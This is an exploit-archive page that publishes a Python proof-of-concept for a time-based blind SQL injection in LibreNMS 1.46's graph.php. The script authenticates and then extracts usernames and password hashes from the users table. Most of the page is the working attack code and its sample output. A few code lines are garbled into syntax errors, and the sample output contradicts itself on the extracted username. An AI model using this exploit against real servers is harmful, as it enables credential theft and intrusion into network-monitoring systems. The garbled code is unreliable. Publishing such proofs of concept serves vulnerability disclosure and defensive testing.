exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

LibreNMS 1.46 SQL Injection

LibreNMS 1.46 SQL Injection
Posted Dec 14, 2020
Authored by Hodorsec

LibreNMS version 1.46 suffers from an authenticated remote SQL injection vulnerability in the MAC Account Graph. Original discovery of SQL injection in this version is attributed to Punt in May of 2020.

tags | exploit, remote, sql injection
SHA-256 | ea3344c4db8aac29739017c56d9f67f842adeab17b741741d19a6459f7ef0656

LibreNMS 1.46 SQL Injection

Change Mirror Download
# Exploit Title: LibreNMS 1.46 - MAC Accounting Graph Authenticated SQL Injection
# Google Dork: Unknown
# Date: 13-12-2020
# Exploit Author: Hodorsec
# Vendor Homepage: https://www.librenms.org
# Software Link: https://github.com/librenms/librenms
# Update notice: https://community.librenms.org/t/v1-69-october-2020-info/13838
# Version: 1.46
# Tested on: Debian 10, PHP 7, LibreNMS 1.46; although newer version might be affected until 1.69 patch
# CVE : N/A

#!/usr/bin/python3

# EXAMPLE:
# $ python3 poc_librenms-1.46_auth_sqli_timed.py librenms D32fwefwef http://192.168.252.14 2
# [*] Checking if authentication for page is required...
# [*] Visiting page to retrieve initial token and cookies...
# [*] Retrieving authenticated cookie...
# [*] Printing number of rows in table...
# 1
# [*] Found 1 rows of data in table 'users'
#
# [*] Retrieving 1 rows of data using 'username' as column and 'users' as table...
# [*] Extracting strings from row 1...
# librenms
# [*] Retrieved value 'librenKs' for column 'username' in row 1
# [*] Retrieving 1 rows of data using 'password' as column and 'users' as table...
# [*] Extracting strings from row 1...
# $2y$10$pAB/lLNoT8wx6IedB3Hnpu./QMBqN9MsqJUcBy7bsr
# [*] Retrieved value '$2y$10$pAB/lLNoT8wx6IedB3Hnpu./QMBqN9MsqJUcBy7bsr' for column 'password' in row 1
#
# [+] Done!

import requests
import urllib3
import os
import sys
import re
from bs4 import BeautifulSoup

# Optionally, use a proxy
# proxy = "http://<user>:<pass>@<proxy>:<port>"
proxy = ""
os.environ['http_proxy'] = proxy
os.environ['HTTP_PROXY'] = proxy
os.environ['https_proxy'] = proxy
os.environ['HTTPS_PROXY'] = proxy

# Disable cert warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Set timeout
timeout = 10

# Injection prefix and suffix
inj_prefix = "(select(sleep("
inj_suffix = ")))))"

# Decimal begin and end
dec_begin = 48
dec_end = 57

# ASCII char begin and end
ascii_begin = 32
ascii_end = 126

# Handle CTRL-C
def keyboard_interrupt():
"""Handles keyboardinterrupt exceptions"""
print("\n\n[*] User requested an interrupt, exiting...")
exit(0)

# Custom headers
def http_headers():
headers = {
'User-Agent': 'Mozilla',
}
return headers

def check_auth(url,headers):
print("[*] Checking if authentication for page is required...")
target = url + "/graph.php"
r = requests.get(target,headers=headers,timeout=timeout,verify=False)
if "Unauthorized" in r.text:
return True
else:
return False

def get_initial_token_and_cookies(url,headers):
print("[*] Visiting page to retrieve initial token and cookies...")
target = url + "/login"
r = requests.get(target,headers=headers,timeout=timeout,verify=False)
soup = BeautifulSoup(r.text,'html.parser')
for n in soup('input'):
if n['name'] == "_token":
token = n['value']
return token,r.cookies
else:
return None,r.cookies

def get_valid_cookie(url,headers,token,cookies,usern,passw):
print("[*] Retrieving authenticated cookie...")
appl_cookie = "laravel_session"
post_data = {'_token':token,
'username':usern,
'password':passw,
'submit':''}
target = url + "/login"
r = requests.post(target,data=post_data,headers=headers,cookies=cookies,timeout=timeout,verify=False)
res = r.text
if "Overview | LibreNMS" in res:
return r.cookies
else:
print("[!] No valid response from used session, exiting!\n")
exit(-1)

# Perform the SQLi call for injection
def sqli(url,headers,cookies,inj_str,sleep):
comment_inj_str = re.sub(" ","/**/",inj_str)
inj_params = {'id':'1',
'stat':'none',
'type':'port_mac_acc_total',
'sort':comment_inj_str,
'debug':'1'}
inj_params_unencoded = "&".join("%s=%s" % (k,v) for k,v in inj_params.items())
# Do GET request
r = requests.get(url,params=inj_params_unencoded,headers=headers,cookies=cookies,timeout=timeout,verify=False)
res = r.elapsed.total_seconds()
if res >= sleep:
return True
elif res < sleep:
return False
else:
print("[!] Something went wrong checking responses. Check responses manually. Exiting.")
exit(-1)

# Extract rows
def get_rows(url,headers,cookies,table,sleep):
rows = ""
max_pos_rows = 4
# Get number maximum positional characters of rows: e.g. 1096,2122,1234,etc.
for pos in range(1,max_pos_rows+1):
# Test if current pos does have any valid value. If not, break
direction = ">"
inj_str = inj_prefix + str(sleep) + "-(if(ORD(MID((select IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM " + table + ")," + str(pos) + ",1))" + direction + "1,0," + str(sleep) + inj_suffix
if not sqli(url,headers,cookies,inj_str,sleep):
break
# Loop decimals
direction = "="
for num_rows in range(dec_begin,dec_end+1):
row_char = chr(num_rows)
inj_str = inj_prefix + str(sleep) + "-(if(ORD(MID((select IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM " + table + ")," + str(pos) + ",1))"=+ direction + str(num_rows) + ",0," + str(sleep) + inj_suffix
if sqli(url,headers,cookies,inj_str,sleep):
rows += row_char
print(row_char,end='',flush=True)
break
if rows != "":
print("\n[*] Found " + rows + " rows of data in table '" + table + "'\n")
return int(rows)
else:
return False

# Loop through positions and characters
def get_data(url,headers,cookies,row,column,table,sleep):
extracted = ""
max_pos_len = 50
# Loop through length of string
# Not very efficient, should use a guessing algorithm
print("[*] Extracting strings from row " + str(row+1) + "...")
for pos in range(1,max_pos_len):
# Test if current pos does have any valid value. If not, break
direction = ">"
inj_str = inj_prefix + str(sleep) + "-(if(ord(mid((select ifnull(cast(" + column + " as NCHAR),0x20) from " + table + " LIMIT " + str(row) += ",1)," + str(pos) + ",1))" + direction + str(ascii_begin) + ",0," + str(sleep) + inj_suffix
if not sqli(url,headers,cookies,inj_str,sleep):
break
# Loop through ASCII printable characters
direction = "="
for guess in range(ascii_begin,ascii_end+1):
extracted_char = chr(guess)
inj_str = inj_prefix + str(sleep) + "-(if(ord(mid((select ifnull(cast(" + column + " as NCHAR),0x20) from " + table + " LIMIT " + str(row) + ",1)," + str(pos) + ",1))" + direction + str(guess) + ",0," + str(sleep) + inj_suffix
if sqli(url,headers,cookies,inj_str,sleep):
extracted += chr(guess)
print(extracted_char,end='',flush=True)
break
return extracted

# Main
def main(argv):
if len(sys.argv) == 5:
usern = sys.argv[1]
passw = sys.argv[2]
url = sys.argv[3]
sleep = int(sys.argv[4])
else:
print("[*] Usage: " + sys.argv[0] + " <username> <password> <url> <sleep_in_seconds>\n")
exit(0)

# Random headers
headers = http_headers()

# Do stuff
try:
# Get a valid initial token and cookies
token,cookies = get_initial_token_and_cookies(url,headers)

# Check if authentication is required
auth_required = check_auth(url,headers)

if auth_required:
# Get an authenticated session cookie using credentials
valid_cookies = get_valid_cookie(url,headers,token,cookies,usern,passw)
else:
valid_cookies = cookies
print("[+] Authentication not required, continue without authentication...")

# Setting the correct vulnerable page
url = url + "/graph.php"

# The columns to retrieve
columns = ['username','password']

# The table to retrieve data from
table = "users"

# Getting rows
print("[*] Printing number of rows in table...")
rows = get_rows(url,headers,valid_cookies,table,sleep)
if not rows:
print("[!] Unable to retrieve rows, checks requests.\n")
exit(-1)

# Getting values for found rows in specified columns
for column in columns:
print("[*] Retrieving " + str(rows) + " rows of data using '" + column + "' as column and '" + table + "' as table...")
for row in range(0,rows):
# rowval_len = get_length(url,headers,row,column,table)
retrieved = get_data(url,headers,valid_cookies,row,column,table,sleep)
print("\n[*] Retrieved value '" + retrieved + "' for column'" + column + "' in row " + str(row+1))
# Done
print("\n[+] Done!\n")

except requests.exceptions.Timeout:
print("[!] Timeout error\n")
exit(-1)
except requests.exceptions.TooManyRedirects:
print("[!] Too many redirects\n")
exit(-1)
except requests.exceptions.ConnectionError:
print("[!] Not able to connect to URL\n")
exit(-1)
except requests.exceptions.RequestException as e:
print("[!] " + str(e))
exit(-1)
except requests.exceptions.HTTPError as e:
print("[!] Failed with error code - " + str(e.code) + "\n")
exit(-1)
except KeyboardInterrupt:
keyboard_interrupt()
exit(-1)

# If we were called as a program, go execute the main function.
if __name__ == "__main__":
main(sys.argv[1:])


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close